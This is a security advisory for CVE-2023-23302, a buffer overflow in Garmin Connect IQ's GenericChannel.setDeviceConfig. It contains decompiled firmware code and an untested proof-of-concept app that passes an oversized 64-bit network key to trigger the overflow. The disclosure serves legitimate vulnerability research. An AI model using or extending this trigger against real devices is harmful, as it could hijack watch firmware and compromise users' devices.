Headline
CVE-2023-23302: garmin-ciq-app-research/CVE-2023-23302.md at main · anvilsecure/garmin-ciq-app-research
The Toybox.GenericChannel.setDeviceConfig
API method in CIQ API version 1.2.0 through 4.1.7 does not validate its parameter, which can result in buffer overflows when copying various attributes. A malicious application could call the API method with specially crafted object and hijack the execution of the device’s firmware.
Buffer Overflows in Toybox.GenericChannel.setDeviceConfig
The GenericChannel class can be configured to use encryption for ANT private channels when specified in the Ant.DeviceConfig configuration.
(See: Garmin - Class: Toybox.Ant.GenericChannel)
The Ant.DeviceConfig object supports:
- networkKey64Bit, an array representing the 64-bit network encryption key
- networkKey128Bit, an array representing the 128-bit network encryption key
(See: Garmin - Toybox.Ant.DeviceConfig)
When reviewing the firmware for the Forerunner 245 Music, we did not see the networkKey128Bit being referenced. It is possible that 128-bit encryption is not supported by this device.
The networkKey64Bit is copied to a static buffer without checking the size of the key, resulting in a buffer overflow. It is possible to hijack the execution flow of the device and execute arbitrary code.
e_tvm_error native:Toybox.GenericChannel.setDeviceConfig(s_tvm_ctx *ctx,uint nb_args) { // […] iVar7 = _tvm_object_get_object_data(ctx,*(void **)(puVar2 + (uint)local_54 * 0xc + 4),(undefined *)&local_48); if (iVar7 == 0) { tvm_get_field_value-?(ctx,device_configuration,field_networkKey64Bit,&network_key); } // Anvil: The function does not check the size of the receiving buffer // Anvil: See `Toybox.Ant.GenericChannel.enableEncryption` for more details psVar6 = (s_tvm_ctx *)tvm_copy_array_to_buffer(ctx,(char *)(local_48 + 3),&network_key,&local_53); // […] }
The crash should be triggered with the following proof-of-concept, adapted from the MO2Display sample app by Garmin available on GitHub. We could not dynamically confirm it due to ANT-related issues in our environment.
class MyDeviceConfig extends Ant.DeviceConfig { function initialize(configuration) { Ant.DeviceConfig.initialize(configuration);
self.networkKey64Bit = \[
0x41, 0x42, 0x43, 0x44,
0x41, 0x42, 0x43, 0x44,
// Crash starting beyond that point
0x41, 0x42, 0x43, 0x44,
0x41, 0x42, 0x43, 0x44,
\];
}
}
class MO2Sensor extends Ant.GenericChannel { // […] // Anvil: Sane values. The key will be overriden after initialization. deviceCfg = new MyDeviceConfig( { :deviceNumber => 0, :deviceType => DEVICE_TYPE, :transmissionType => 0, :networkKey64Bit => [1,2,3,4,5,6,7,8], :networkKey128Bit => [1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8], :messagePeriod => PERIOD, :radioFrequency => 57, :searchTimeoutLowPriority => 10, :searchThreshold => 0 }); GenericChannel.setDeviceConfig(deviceCfg); // […] }